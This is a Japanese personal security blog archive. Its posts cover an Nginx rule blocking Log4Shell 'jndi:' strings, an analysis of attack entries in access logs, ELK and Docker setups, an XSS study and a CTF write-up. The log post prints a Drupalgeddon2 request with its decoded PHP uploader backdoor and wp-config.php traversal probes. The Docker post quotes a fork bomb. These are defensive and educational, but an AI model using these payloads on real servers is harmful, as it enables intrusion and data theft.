bookmark_borderNginxでCVE-2021-44228(Apache Log4j 2)を狙った攻撃を簡易的にブロック

Apache Log4j 2に深刻な脆弱性 CVE-2021-44228 が見つかりました.アクセスログから管理するサーバへもこの脆弱性を狙った攻撃を観測しました.

Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた – piyolog

今回はNginxで簡易的に攻撃をブロックしてみます.本質的にはペイロードを任意のヘッダへ追加された場合の対処にはならないため注意が必要です.

環境:

  • Nginx v1.20.1
  • Ubuntu 20.04.3 LTS (Focal Fossa)

設定例

以下は,設定を追加したNginxのConfigの抜粋です.mapを使い攻撃リクエストのペイロードが含まれるURLとUserAgentをパターンマッチでブロックしています.ブロックにはHTTPのステータスコード 444を使いました.

http {
    map $http_user_agent $block_ua_request {
        default 0;
        "~*\${jndi:" 1;
    }
    map $request_uri $block_request {
        default 0;
        "~*\$%7Bjndi:" 1;
    }

    server {
        if ($block_ua_request = 1) {
            return 444;
        }
        if ($block_request = 1) {
            return 444;
        }
    }
}

実際にcurlでリクエストを発行するとリクエストが拒否されていることがわかります.

$ curl "https://blog.koyama.me/$%7Bjndi:xx"
curl: (92) HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)

余談

Qiitaへ記事を投稿しようと試みたところ,WAFにブロックされました.

参考資料

過去のISUCONで知ったNginxのmapを活用できてよかったです.

bookmark_borderiLogScannerでNginxアクセスログを解析(CMSを狙った攻撃を観測)

Webサーバを外部に公開すると、わるい人から攻撃を受けるわけですね。悪い人が何をしようとしたかをログから見つけることで、攻撃の対策や傾向を把握することができます。

今回はIPAで公開されている iLogScanner を使ってNginxのログを解析してみます。無償で使えるので試してみる価値はあります。

ウェブサイトの攻撃兆候検出ツール iLogScanner:IPA 独立行政法人 情報処理推進機構

実行にはJavaの実行環境が必要なので、別途でインストールしておきます。

起動すると以下のウィンドウが表示されます。アクセスログだけでなく、Mod Securityのログや認証ログも解析できます。解析対象のファイルを選択して「解析開始」を押下します。

70MB程度のログだと5分ほどで解析が終わりました。解析途中でもサマリーを表示できるのも便利です。

解析が終わると最終的なサマリーが表示されます。

細かなレポートを確認してみます。全体のうち33件が疑わしいログとして検出されました。

下へスクロールして具体的なアクセスログを見ていきます。Jetpackのアクセスがその他として検出されていることが確認できます。

その他で特徴的なアクセスとして以下がありました。

Drupalの脆弱性を狙った攻撃

102.157.247.162 - - [28/Feb/2019:23:51:19 +0900] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI%2BIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0%2BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8%2B%3D+%7C+base64+-d+%7C+tee+sites%2Fdefault%2Ffiles%2F15697.php+%7C+rm+-rf+sites%2Fdefault%2Ffiles%2F.htaccess HTTP/1.1" 301 178 "-" "Mozilla 5.0" "-"	E274

クエリパラメータとしてを解析すると以下になりました。

q=user/password&name[#post_render][]=passthru&name[#markup]=echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnIIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8= | base64 -d | tee sites/default/files/15697.php | rm -rf sites/default/files/.htaccess

これはDrupalの脆弱性(CVE -2018-7600)を狙った攻撃であるとわかりました。

dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

base64でエンコードされている部分をデコードしてみます。

$ echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0+IjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8+= | base64 -d

<?php
echo "PHP Uploader - Raiz0WorM - Bitchzz";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
  if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  echo "Success!";
  } else {
  echo "Failed to Upload.";
  }
}
?>base64: invalid input

デコードして現れたのはファイルアップローダのバックドアでした。これを15697.phpとして保存して、.htaccessを削除することでWebからバックドアへのアクセスを可能にしています。複数ある同様のスクリプトのうち、一部のUserAgentが python-requests/2.20.1であることも確認できました。このことから、攻撃者はスクリプトにより機械的に攻撃を行っていることが伺えます。

アップローダのタイトルに含まれる Raiz0WorM が攻撃者であると推測されます。この攻撃者は継続的にサイト改ざんを行っていることがZone-hで確認できます。調べるとこの攻撃者はPHPスクリプトをバックドアとして設置していることが確認できました。

Raiz0WorM | Zone-H.org

Joomlaの脆弱性を狙った攻撃

154989    ディレクトリトラバーサル    -               158.69.38.241 - - [28/Jan/2019:13:37:13 +0900] "POST /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../4p4.php HTTP/1.1" 301 178 "-" "python-requests/2.19.1" "-"   C446

パラメータqqfileの値がいかにもディレクトリトラバーサルです。特徴的な文字列として com_b2jcontactがあります。これはJoomlaのプラグインの名称だとわかりました。脆弱性 CVE-2017-5215を狙った攻撃であると判断しました。

NVD – CVE-2017-5215

エクスプロイトを比較すると類似していることが確認できます。

Joomla Codextrous Com_B2jcontact Components 2.1.17 Shell Upload Vulnerability – CXSecurity.com

WordPressのプラグイン/テーマの脆弱性を狙った攻撃

167307	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:27 +0900] "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

テーマmTheme-Unusの脆弱性を利用してwp-config.phpの情報取得を試みた形跡が確認できます。2015年にも確認できている攻撃であるため、昔からの手口かと思われます。

今月の攻撃と怪しい接触(2015年8月版) | arbk-works Blog

167309	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:28 +0900] "GET /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン wptf-image-gallery の脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167311	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:30 +0900] "GET /wp-content/plugins/recent-backups/download-file.php?file_link=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグインrecent-backupsの脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167313	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:31 +0900] "GET /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン simple-image-manipulatorの脆弱性を利用してwp-config.phpの取得を(ry

167315	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:33 +0900] "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン google-mp3-audio-playerの脆弱性を利用して(ry

332315	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:57:58 +0900] "GET /wp-content/plugins/eshop-magic/download.php?file=../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン eshop-magicの脆弱性を(ry

332317	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:58:01 +0900] "GET //wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン ungalleryの脆弱性を(ry

まとめ

CMS本体の脆弱性を狙った攻撃、CMSのプラグインの脆弱性を狙った攻撃が観測できました。アクセスログの解析をしたことで、攻撃の実態を把握することができました。WordPressのプラグインに注意したいと改めて感じました。

いかがでしたか?

bookmark_borderELKスタックでDNSサーバ(Unbound)のクエリログを解析する

ElasticSearch + Logstash + FileBeat + KibanaでUnboundのクエリログを解析してみました。UnboundはキャッシュDNSサーバなので、DHCPで配布するDNSサーバをこれに向けることでログを収集します。

※細かなコマンドやファイアウォールの設定手順は他のサイトにも書いてあるので省略します。

環境

  • キャッシュDNSサーバ
    • Ubuntu 18.04.2 LTS
    • unbound 1.6.7
    • rsyslogd 8.32.0
    • logrotate 3.11.0
  • ElasticSearchサーバ

キャッシュDNSサーバのセットアップ

Unboundの設定

Unboundはパフォーマンスの観点からか、デフォルトではクエリログを出力しません。そのため、設定にuse-syslog: yesを追加します。

unbound.confの例

server:
    username: unbound
    use-syslog: yes
    # verbosity: 1      # uncomment and increase to get more logging.
    log-queries: yes
    interface: 0.0.0.0
    interface: ::0
    access-control: 192.168.254.0/24 allow
    access-control: eeee:eeee:eeee:1::/64 allow

forward-zone:
    name: "."
    forward-addr: 8.8.8.8
    forward-addr: 8.8.4.4

Rsyslogの設定

このままでは/var/log/syslogがUnboundのクエリログで肥大化するためsyslogの設定を変更します。rsyslogでunboundの出力するログを別ファイルへ保存するよう設定します。

以下の設定ファイル(30-unbound.conf)を/etc/rsyslog.dに設置します。

if $syslogfacility-text == 'daemon' and $programname contains 'unbound' then 
  -/var/log/unbound
& ~

Logrotateの設定

ログの出力先を分けることができるものの、ログのローテーションがされていません。そのため、ログファイルのサイズが巨大に成長してしまいます。そこで、ログのローテーションを設定します。

以下のファイル(unbound)を/etc/logorate.dへ配置します。

/var/log/unbound
{
        rotate 30
        daily
        copytruncate
        nocompress
        olddir unbound.old
        su syslog adm
        postrotate
                /usr/lib/rsyslog/rsyslog-rotate
        endscript
}

FileBeatの設定

ログ・ファイルを監視してLogstashへ送るためにFileBeatを導入します。インストールは公式のドキュメントを見ながら行います。

Repositories for APT and YUM | Filebeat Reference [6.6] | Elastic

以下はFilebeat設定ファイル(filebeat.yml)の例です。ElasticSearchのIPアドレスを 192.168.254.200 に設定しています。

#=========================== Filebeat inputs =============================

filebeat.inputs:

- type: log
  enabled: true
  paths:
    - /var/log/unbound
    - /var/log/unbound.old/*
  exclude_lines: ['message repeated']

filebeat.config.modules:
  path: ${path.config}/modules.d/*.yml
  reload.enabled: false

#==================== Elasticsearch template setting ==========================

setup.template.settings:
  index.number_of_shards: 3

#============================== Kibana =====================================

setup.kibana:
  host: "192.168.254.200:5601"

#----------------------------- Logstash output --------------------------------
output.logstash:
  # The Logstash hosts
  hosts: ["localhost:5044"]

#================================ Processors =====================================

processors:
  - add_host_metadata: ~
  - add_cloud_metadata: ~

LogStashの設定

LogstashではFilebeatから受け取ったデータをパースしてElasticSearchへ送ります。以下のガイドを見ながらインストールを行います。

Installing Logstash | Logstash Reference [6.6] | Elastic

以下は/etc/logstash/conf.dに配置したLogstashの設定ファイル(unbound.conf)の例です。inputとoutputをそれぞれ stdin, stdoutにするとデバッグ時に便利です。

input {
  beats {
    port => "5044"
    type => "beats"
  }
  # stdin {}
}
filter {
  grok {
    patterns_dir => ["/etc/logstash/patterns.d"]
    match => { "message" => "%{PATTERN}" }
  }
}
output {
  if "_grokparsefailure" not in [tags] {
    elasticsearch {
      hosts => ["192.168.254.200:9200"]
      index => "unbound-%{+YYYY.MM.dd}"
    }
    # stdout {}
  }
}

クエリログ用のパターンファイル(unbound)を作成して/etc/logstash/patterns.dへ配置します。以下はその設定ファイルの例です。

PATTERN %{SYSLOGTIMESTAMP:timestamp} %{SYSLOGHOST:logsource} %{SYSLOGPROG:prog}: [%{INT:pid}:%{INT:tid}] %{LOGLEVEL:loglevel}: %{IP:ip_src} %{HOSTNAME:domain} %{WORD:record} %{GREEDYDATA}

ElasticSearchサーバのセットアップ

DockerでElasticSearchとKibanaを導入

ElasticSearchとKibanaはDockerを使って構築します。

Docker-CEをインストールします。aptでそのまま入れるとバージョンが古いので注意が必要です。docker-composeもインストールします。

以下のdocker-copose.yml(例)を作成しました。ulimitsでファイルディスクリプタの設定を変更しないと起動しないため注意が必要です。

version: '3'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:6.6.0
    ports:
      - 9200:9200
      - 9300:9300
        #volumes:
        #   - ./elasticsearch/data:/usr/share/elasticsearch/data
    ulimits:
      nproc: 65535
      nofile:
        soft: 65536
        hard: 65536
  kibana:
    image: docker.elastic.co/kibana/kibana:6.6.0
    ports:
      - 5601:5601
    links:
      - elasticsearch
    environment:
      - ELASTICSEARCH_URL=http://elasticsearch:9200/

KibanaにWebからアクセス

ElasticSearchをインストールしたホストの5601/tcpへアクセスします。

Discoverの様子

DashBoardを作り込むとドメインのトップ100を表示することもできます。

Dashboardの様子

これを見るとAWS S3が顕著なことがよくわかります。

今回はElasticSearchへログの投入を行いました。この他にログ解析に特化したGraylogもあるので、余裕があれば試してみたいと思います。

Industry Leading Log Management | Graylog

bookmark_borderVPSにDockerでレンタルスペースを自作する[ほぼ完成]

https://blog.koyama.me/archives/1480
先日、アドベントカレンダーとして書いた記事の開発が終わったのでブログを書きます。ソースはGitHubで公開してあります。 https://github.com/tomoyk/ssh-rental-space

変更/工夫した点

DockerComposeでのcpu/ramリソース制限

docker-composeでのリソース制限はv3系からDocker Swarmを使うようになっていました。そのため、v2系で最新のv2.4で mem_limit などを利用して実現しました。

ネットワークのアクセス制御

dockerの機能であるカスタムを利用しました。sshコンテナごとに所属するコンテナを個別に作成し、sshコンテナとsyslogコンテナだけが所属するよう設計しました。 これにより、sshコンテナ同士の相互接続を防ぎ、なおかつsyslogコンテナとの疎通性は確保しています。

docker-compose.ymlの自動生成

sshコンテナの数が5個程度であれば運用コストは低いので問題ありません。しかし、コンテナ数が数十個に増えると認証情報を変えてdocker-compose.ymlを更新するのが手間になります。そこで、docker-composeがYamlであることに注目し、Pythonでdocker-compose.ymlを認証情報ファイルから自動生成するコードを作成しました。 具体的には container-credentials.csv にSSHで使用する「ユーザー名、パスワード、ポート、コンテナ名、ホスト名、マウントするホストパス」を記述します。そして、その内容をPythonで解析してYamlへ変換して出力します。

問題: uidの不一致

sshコンテナの内部に public_html を作成し、そのディレクトリをホストOSのnginxドキュメントルートとバインドしようとしました。しかし、コンテナ内部のuidとホストOSのUIDが一致しないためパーミッションの設定に困りました。 この問題はコンテナにssh接続するユーザのuidをadduserする時に指定し、それと同じuidユーザをホストOSに追加することで解決しました。

課題: コンテナを監視する仕組み

現状では構築できていない為、開発したいと思います。方法としては、container-credentialsを使ってssh接続できるか確認したり、docker execで外部との疎通性を確認したりすることを考えています。

システムアーキテクチャ

構成図を作成したので追加しました。(2019/02/28追記)

bookmark_borderVPSにDockerでレンタルスペースを自作する

この記事はセキュリティキャンプ 修了生進捗 #seccamp OB/OG Advent Calendar 2018 – Adventarの23日目です。進捗を出していきたいと思います。

TL;DR

docker-composeでsftp/scpコンテナとsyslogコンテナを起動することでレンタルスペースをVPS上につくりました。

はじめに

VPSになぜレンタルスペースを作ることになった背景について簡単に書いてみます。私の所属するサークルでは他のサークルのWebサイトをホスティングしています。そのシステムは数年前に構築され、CentOS 6.10のまま動き続けている状態でした。具体的な環境としてはユーザーがSFTP/SCPでファイルをアップロードできるようchrootでsshdを起動してありました。 そんな古いシステムをリプレイスしようと思い、新たにDockerを使ったレンタルスペースを構築しようと考えました。

設計

従来のシステムを参考に要件を定義してみました。
  • 管理者がサークルのサーバ管理者であるため、複雑な技術や難易度の高い技術の導入は難しい。
  • 各サークルのスペースを独立させたい。
  • サーバー本体にはアクセスできないよう独立させたい。
  • 容易に環境を追加、削除、復元したい。
  • ログを残しトラブルシューティングやサポートで利用可能にする。
  • サークルごとにリソースの制限(CPU,メモリ)、ネットワークのアクセス制御を行いたい。
こうした要件からDockerによるレンタルスペースを設計しました。アーキテクチャ図が以下です。
architecture
DockerのオーケストレーションツールとしてKubernetesやDocker Swarmなどの利用も検討したものの、引き継ぐことを考え断念しました。

構築

OpenSSHサーバのDockerイメージはdockerhubにあったものの、カスタマイズが必要だったため自作しました。
FROM alpine:3.8

MAINTAINER Tomoyuki KOYAMA <webmaster@koyama.me>

ENV SSH_USER          guest22
ENV SSH_PASSWORD      L1nuxCLU8
ENV SSH_PORT          22
ENV MAX_SESSION       3
ENV PERMIT_ROOT_LOGIN no
ENV SYSLOG_SERVER     172.17.0.2
ENV SYSLOG_PORT       514

RUN apk add --update --no-cache openssh openssh-sftp-server bash tzdata rsyslog && 
    : "Configure timezone" && 
    cp /usr/share/zoneinfo/Asia/Tokyo /etc/localtime && 
    echo "Asia/Tokyo" > /etc/timezone && 
    apk del tzdata && 
    rm -rf /var/cache/apk/* 

EXPOSE $SSH_PORT

VOLUME /www-data
VOLUME /var/log

ADD ./entrypoint.sh /
ADD ./motd /etc
# ADD ./sshd_banner /etc/ssh

CMD /bin/bash /entrypoint.sh && 
    /bin/rm -f /entrypoint.sh && 
    /usr/sbin/sshd -4 -f /etc/ssh/sshd_config && 
    /usr/sbin/rsyslogd -f /etc/rsyslog.conf -n
その他のコードはGitHubにあります。 tomoyk/ssh-rental-space: Dockerfileを書く時に、環境変数で実行時に後からポート番号やユーザ名などを変更できるように工夫しました。また、コンテナ内のタイムゾーン設定に配慮しました。ベースイメージをalpineにすることでイメージサイズが軽量になるよう注意しました。 実行 次のdocker-compose.ymlファイルを作成し、複数のコンテナを同時起動しています。
version: '3'
services:
  
  ssh-server1:
    container_name: circleA
    hostname: circleA
    image: ssh-server:latest
    restart: always
    environment:
      - SSH_USER=sshuser
      - SSH_PASSWORD=Password1
      - SSH_PORT=10022
      - SYSLOG_SERVER=syslog-server
    volumes:
      - ./www-data:/www-data/public_html
    depends_on:
      - syslog-server
    deploy:
      resources:
        limits:
          cpus: '0.50'
          memory: 50M
        reservations:
          cpus: '0.25'
          memory: 20M

    # cpu_percent: 50
    # cpu_shares: 73
    # cpu_quota: 50000
    # cpuset: 0,1

    ports:
      - 10022

  syslog-server:
    container_name: common-syslog
    image: syslog-server:latest
    restart: always
    volumes:
      - ./log:/var/log

動作状況

図の左上で docker-compose up -dを実行しています。図の右のコンテナからssh接続を行っています。左中央がsyslogコンテナのログです。図の下が watch docker psの実行結果です。
docker起動時

課題

リソース制限

リソース制限の設定をdocker-composeから入れたが、forkbomb :(){ :| :& };:を実行したところフリーズしてしまいました。ファイルディスクリプタやI/Oなどの制限についてカーネル周りを中心に改めて調べてみる必要がありそうです。Wikipediaのforkbombに書かれたいた /etc/security/limits.confなども確認してみようと思います。

ネットワークのアクセス制御

ネットワークをSSH/SFTPコンテナごとに隔離したいと思っているものの、現状では出来ていません。dockerのnetworkや制御の仕組みをうまく導入したいと思います。

コンテナの監視

コンテナにSSHができなくなった時に、自動で再起動する仕組みづくりが必要だと感じました。仮にプロセスが暴走してリソース制限の最大までリソースを使い果たしても、dockerの restart=alwaysでは再起動を行ってくれません。 そのため、コンテナの状態を監視する仕組みを作り監視の自動化を行いたいと考えています。ここまでやるのであれば素直にKubernetesを使ってもいい気がします。
追記: 2019-01-01 構築が終わりました!

最後に

Dockerを完全に理解した方からアドバイスを頂けると嬉しいです。
(あと、2019年1月からのアルバイト先(都内)を探します。) 明日は hiwwさんです!

bookmark_borderセキュリティ・キャンプ 全国大会 2018を振り返って #seccamp

セキュリティ・キャンプへNOCチューターとして参加しました。NDAに触れない書ける範囲でやったことなどを書いておきます。

準備

会場ネットワークは建物の回線引き込みが終わっている段階から関わりました。建物にあるEPSの配線を変更したり、Wi-FiのAPを設置したりしました。各部屋での疎通確認や掲示物作成にも取り組みました。

電気配線シャフト (EPS)とは|「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典

準備のフェーズがNOCチューターの仕事で一番忙しかったです。

運用

運用はベテランOBや講師の方々が設計や構築のほとんどを行ってくださっていたので、チューターはそれほど忙しくなかった気がします。僕はログを整形してDBに入れるPythonスクリプトを作成したり、Processingでネットワークの可視化をしていました。(優秀な講師とベテランOBを見習いたい)

大きなトラブルは無く、ネットワーク運用を終えることが出来たのが一番よかったと思います。最終日の成果報告もなんとか終えることができたのでベストを尽くせたとは思います。(AM 5:00くらいまで粘ってProcessingのコード書いたので辛かった)

振り返って

NOCチューターの倍率は聞いたところそれなりに高かったようです。微力ながら、SC-NOCに貢献できたかなとは思います。チューターという参加者とは違った立場でキャンプを経験は、新鮮で有意義な時間になりました。特に講師の方々や他のチューターとの距離が近かったのが良かったと思います。また、キャンプに関われる機会があればぜひ貢献していきたいと思いました。

ぜひ、全国大会 修了生でNOCチュータに興味をもった自宅(ラック|NOC|SOC)な人は応募してほしいと思いますv(´∀`*v)ピース

ランチの写真(美味しい)

余談

Raspiのシリアルコンソールケーブルが便利だったのでキャンプ中にぽちっておいた。これは意外と便利なのでドライバインストールが面倒だけどオススメ。

bookmark_borderブラウザをごまかして発火させるXSS

ネットサーフィンをしていたら以下の記事を見つけた。ブラウザの解釈を誤魔化すことで生じるXSSパターンをPoCを書いて試してみた。

色んなXSS – nootropic.me

書いたコードは以下

tomoyk/xss-study: to study xss-patterns

以下にコードの簡単な説明を書いておく。

  • a.html :: href="が文字列として認識されてXSSが発火する。ダブルクオートの忘れは命取りになる。
  • b.html :: 改行されると空白として扱われる。パラメータは空白として認識されない。
  • c.html :: HTMLのパラメータとタグの区切りを/で実現。<q/oncut=alert()で切り取り(Ctrl + X)を行うと発火する。
  • d?.html :: open()の第二引数 に指定した文字列が移動先の top.name に格納される。これを移動先から eval()することで発火。
  • e.html :: URLオブジェクトをslice()して文字を切り出してeval()で実行している。URLの扱いがイマイチつかみにくい。
  • f.html :: unescape()eval()に食わせている。ポイントは%0aをつけることで改行させること。

参考: URL – Web API インターフェイス | MDN

マイナーな感じのXSSは面白かった。

bookmark_borderangstromctf2018をやってみた

かなり前にやったCTFのことを書いていなかったので書いておく。


久しぶりにCTFにやる気が出たので期間の長いCTFをCTFtimeから探してやってみた。Webとmiscをやってみた。

web_SOURCE-ME-1

htmlのtitleタグに含まれていたはず

Welcome, admin. Here is your flag: actf{source_aint_secure}

FLAG: actf{source_aint_secure}

web_GET_ME

パラメータ改ざんしたら答えがでたはず

http://web.angstromctf.com:3005/?auth=true

Here you go: actf{why_did_you_get_me}

FLAG: actf{why_did_you_get_me}

web_SOURCE-ME-2

パスワードをハッシュ化して比較しているのでDB検索したらpassword1234に一致した。

md5: bdc87b9c894da5168059e00ebffb9077
=> password1234

以下のURLへアクセスしたらフラグが表示される。

http://web.angstromctf.com:7000/login.php?user=admin&pass=password1234

Welcome, admin. Here is your flag: actf{md5_hash_browns_and_pasta_sauce}

FLAG: actf{md5_hash_browns_and_pasta_sauce}

misc_waldo1

zipファイルを展開したら出てくる

FLAG: actf{there_is_no_collusion_(between_teams)}

misc_waldo2

zipファイルを展開して、ls -la でファイルサイズを確認すると一つだけサイズが違うものを発見。

$ cat waldo339.jpg
actf{r3d_4nd_wh1t3_str1p3s}

FLAG: actf{r3d_4nd_wh1t3_str1p3s}

misc_thats-not-my-name

docxファイルに含まれている文字列がFLAG

FLAG: actf{r3d_4nd_wh1t3_str1p3s}

misc_file-transfer

pcapファイルに画像の取得に関するHTTPリクエストとそれに対するレスポンスが記録されているので、Wiresharkで取り出したら終わり。

FLAG:actf{0ver_th3_w1re}

misc_gif

バイナリファイルが降ってくる。バイナリファイルをバイナリエディタで開くと8枚分のバイナリデータが含まれている。これをバイナリエディタでごにょるとフラグを含む画像が表示される。

FLAG: actf{thats_not_how_you_make_gifs}

時間がなかったので出来るところだけ片付けた気がする…。